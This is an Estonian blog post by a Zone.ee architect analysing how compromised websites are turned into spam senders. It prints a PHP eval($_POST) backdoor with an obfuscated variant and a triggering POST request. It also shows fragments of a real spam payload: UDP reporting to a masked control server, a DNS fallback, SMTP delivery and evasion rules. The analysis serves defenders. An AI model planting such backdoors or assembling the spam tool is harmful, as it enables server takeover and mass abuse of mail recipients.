Kuidas “häkitud” veebid spämmi saadavad?

Tihti juhtub, et veebilehed “häkitakse” ära ja seejärel hakkab tulema kaebusi, et konkreetse veebiserveri kaudu saadetakse spämmi. Mida see aga praktikas tähendab?

Algab kõik sellest, et spämmer leiab veebiserverist automatiseeritud tööriistade mõne tuntud turvaaugu. Just nimelt automatiseeritud, sest mitte ükski spämmer ei käi ükshaaval veebilehti läbi vaatamas, kõik toimub automaatselt. Ning pole oluline kui vähetähtis või väheste külastajatega või mis keeles rünnatav veebileht on, sest reeglina ei ole sihtmärgiks mitte veebileht, vaid serveriressurss, mis sellele veebilehele eraldatud on. Järgmise sammuna sokutab spämmer turvaauku ära kasutades mõnda PHP faili (näiteks /templiidid/ammu-enam-ei-kasuta/jalus.php) järgmise, üsna süütuna näiva rea:

eval($_POST['UIOV61']);

Tavaliselt küll on see rida veidi hägustatud kujul, et seda liiga kerge tuvastada poleks. Näiteks ei loeta muutuja sisu otse õigest kohast, vaid pannakse see kuidagi keerulisemalt kokku, näiteks nii:

$m='_'.strtoupper(join('', array_reverse(array('t','s','o','p'))));
eval(${$m}['UIOV61']);

Selline kood teeb täpselt sedasama, mida eelminegi näide, kuid $_POST muutuja kasutamine on nüüd silma eest ära peidetud. Konkreetne näide on imetud virtuaalsest pastakast, kuid selles suhtes väga vahet polegi, et kuidas täpselt seda tegevust peita – võimalusi on mustmiljon ning kõik need leiavad ka kasutust.

Siinkohal võikski nagu loole punkti panna, spämmer on kodulehele sisse saanud ja teinud oma pahanduse, ühtegi muud veebilehe faili spämmer enam ei puutu ja sellega olekski lugu läbi. Paraku siiski siin lugu alles algab, sest selle rea lisamisega on meie veebiserver liidetud passiivse osalisena mõnda suurde botneti. Nimelt võimaldab eval()funktsioon käivitada suvalist PHP koodi ning kõige tavalisema POST päringu abil saab ette anda tolle käivitamisele mineva $_POST muutuja sisu. Edasi polegi muud, kui oodata “keskuselt” käsklusi, kus tolle häkitud PHP faili pihta tehakse POST päring muutujaga “UIOV61”, mille sisuks on käivitamisele minev kood.

POST /templiidid/ammu-enam-ei-kasuta/jalus.php HTTP/1.1
Host: meieveebileht.ee
Content-length: 12345

UIOV61=%24indata%20%3D%20new%20stdClass()%3B[...]

Järgnev ongi reaalne spämmimiskatse, mis sarnase tagaukse kaudu toimus. Tegu on sisuliselt omaette rakendusega, millel “peremees”-veebilehega igasugune seos puudub, veebiserveri jaoks on see nagu iga teine PHP kood, mida käivitada tuleb. Täpsemalt proovib rakendus saata tundmatutele isikutele meie serverist spämmi ja vaatlemegi lähemalt, et mida spämmeri rakendus selle eesmärgi nimel ette võtab.

Rakenduse alguses kirjeldatakse ära spämmikirja andmed ning potentsiaalsed adressaadid. Nagu näha on tegu vana tuttava sisuga, millist on täis pea iga spämmikaust.

$indata->subj = "Re:  Hiya";
$indata->html = "<div>Hiya, I'm a lonesome  girl, searching real person[...]
...
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@yahoo.com');
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@gmail.com');

Nüüd vaatab spämmer, et millist võrguühenduste funktsionaalsust konkreetne PHP installatsioon pakub. Seda teadmist on vaja, et hiljem korrektselt võrguühendusi avada.

if (function_exists('fsockopen'))[...]
elseif(function_exists('socket_create')[...]
elseif(function_exists('stream_socket_client')[...]

Täiendavalt koostab spämmer ka funktsiooni connect, mis avab leitud sobiva meetodi abil nii TCP kui ka UDP ühendusi. Seda koodi lahti kirjutama ei hakka, midagi huvitavat selles pole. Küll aga peame teadma, et see on olemas, kuna seda funktsiooni läheb edaspidi tarvis.

$repsock->connect("udp", "now.******.com", 9141, 10, true);

Ja ongi esimene välisühendus avatud, kuid meie üllatuseks on tegu hoopis UDP protokolliga. Selle kaudu aga spämmi saata ju ei saa? Tuleb välja, et spämmer tahab teada kuidas tema spämmirakendusel läheb ja tagasiside saamiseks saadab ta üle UDP oma keskserverisse igasugust debug ja muud huvitavat infot. Kohe algatuseks saadabki spämmer endale järgmise paketi (5760704 on sessiooni võti):

$repsock->send("Bcnf :: Start :: 5760704 :: (0)")

(Konkreetne kood on loetavause mõttes lihtsustatud, kuna tegelikult näeb UDP pakett välja teistsugune, vajaliku teisenduse teeb ära spämmeri koostatud funktsioon, mida ei hakka eraldi välja tooma.) Samasuguseid teateid saadetakse rakenduse igal sammul ning rohkem neist võibolla juttu ei hakkagi tegema.

Samas toimub ka süsteemsest /tmp kaustast ühe kindla faili lugemine (juhul muidugi, kui selline fail on juba olemas) ning sellest andmete sisselugemine. Mis info see täpselt on, seda vaatame veidi hiljem. Jätame selle andmete laadimise fakti momendil lihtsalt meelde.

Nüüd läheb rakendus tsüklisse, kus ükshaaval võetakse ette kõik potentsiaalsed spämmi saajad. Selline “individuaalne lähenemine” tähendab muu hulgas seda, et spämmi saaja ilutseb kenasti üksinda kirja To: real, mitte ei ole kiri adresseeritud korraga anonüümsele undisclosed-recipients:; grupile, kus kõik tegelikud adressaadid on peidetud BCC reale.

Esimese asjana on spämmeril vaja tuvastada adressaadi MX e-posti server. Selle jaoks on tarvis teha DNS päring – alguses MX kirje või selle puudumisel A kirje leidmiseks. DNS päringuid saab teha samuti mitut moodi ja kõigepealt proovib spämmer leida vajalikud kirjed getmxrr funktsiooni abil. Juhul kui seda funktsiooni ei ole lubatud kasutada, on spämmer koostanud alternatiivse variandina omaenda DNS kliendi, mis üle UDP ühenduse 8.8.8.8:53 nimeserveri pihta kõik vajaliku ise selgeks teeb. Juhul kui ka UDP päringuid teha ei saa, proovib spämmer viimase võimalusena gethostbyname funktsiooni.

// Spämmer DNS päringu paketti kokku panemas
$this->tid = rand(0x0001, 0xFFFE);
$this->req_data = pack("nnnnnn", $this->tid, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);

Kui MX server on teada, siis võib selle adressaadiga edasi liikuda. Nüüd hakkab spämmer adressaadi jaoks e-posti kirja lähteandmetest kokku panema. Ikka nii, et adressaat üksi istub To: real ning ka ülejäänud kiri näeb vormistuselt korrektne välja, et spämmikontrolli sellega eksitada.

"From: ".$indata->m_fromh."\r\n".
"Reply-To: ".$indata->repto."\r\n".
"Message-ID: <".$indata->list[$key]->mess_id.">\r\n".
"To: ".$indata->list[$key]->mh."\r\n".
"Subject: ".$indata->list[$key]->subj."\r\n".
"X-Priority: 3 (Normal)\r\n".

Kui kiri on kokku pandud, üritab spämmer seda ära saata, proovides avada porti 25 adressaadi e-posti MX serverisse, mis kirjade vastuvõtmisega tegeleb.

$sock->connect("tcp", $indata->list[$key]->mx_ip, 25, 10, true)

Spämmirakenduse SMTP protokolli kasutus on korrektne ning juhul kui vastuvõttev server toetab STARTTLS laiendust ühenduse krüpteerimiseks, proovib spämmer seda ka kenasti kasutada, eksitades sellega nii spämmikontrolli kui ka kaotades Gmaili puhul kirja juurest punase tabaluku ikooni.

Alati võib juhtuda, et server miskipärast sellest kirjast keeldub. Põhjuseid võib jälle olla mustmiljon, kuid spämmer ei jäta midagi juhuse hooleks. E-kirjadest keeldumise põhjuste kirjeldamisega on tänapäeval lugu üsna segane. Suhteliselt kindlalt võib arvata, et juhul kui vastuskood on 5xx, siis keeldub server kirjast lõplikult, aga kui see on 4xx, siis võib mõne aja pärast uuesti saata. Samas, iga tagasilükkamine pole võrdne, eksisteerib igasuguseid erandeid. Spämmer on seetõttu enamlevinud veebiteenuste vastusteated ära kirjeldanud, et mida selle puhul siis teha. Näiteks juhul kui tegu on AOL serveriga ja vastuseks tuleb järgmine teade, siis võib eeldada, et konkreetne veebiserver on AOL jaoks mustas nimekirjas (‘bl’ reegel) ja sellest serverist AOL’i kirju saata pole enam mõtet.

array(
  ".mx.aol.com" => array(array(array(
    1
  ),
  '^554[ \-].*ESMTP not accepting connections',
    'bl'
  ), [...]

Kuid nagu juba mainitud, siis iga tagasilükkamine pole sugugi võrdne ja ka 5xx veateate korral võib mõnel juhul uuesti proovida. Näiteks iCloud serveri jaoks on spämmeril järgmine reegel, mis suunab 550 vea korral kirja hoopis nn.greylisti (‘gl’ reegel):

array(
  ".icloud.com" => array(
    3
  ),
  '^550[ \-]5\.7\.0.*Blocke',
    'gl'
  ), [...] 

Kui kõik adressaadid on sarnasel viisil läbi käidud, võikski loole punkti panna, aga ikka ei saa me seda teha. Mäletatavasti avas spämmer rakenduse alguses mingi faili, aga milleks see siis vajalik oli?

Sellesse faili paneb spämmer kirja järgmisteks käivitusteks vajaliku info. Näiteks selle, et millise aadressi jaoks millist MX kasutada saab või et milline MX server on selle saatja ära blokkinud jne. Lisaks pannakse kirja ka viited greylistitud kirjadele ning nende uuesti saatmise intervall. Juhul kui spämmirakendus kunagi hiljem uuesti käima läheb, taastatakse nii greylistud kirjade info ja kui eelmisest saatmisest on möödas nõutud intervall, siis proovibki spämmer seda kirja uuesti saata. Ja seekord eeldatavasti juba edukalt.

Autor: Andris Reinman

Andris on üks Zone.ee infosüsteemi arhitekte. Lisaks arendab ta Zone MTA nimelist SMTP serverit (https://github.com/zone-eu/zone-mta), Node.js e-posti moodulit Nodemailer (https://nodemailer.com) ja postiloendite haldamise tarkvara Mailtrain (http://mailtrain.org/)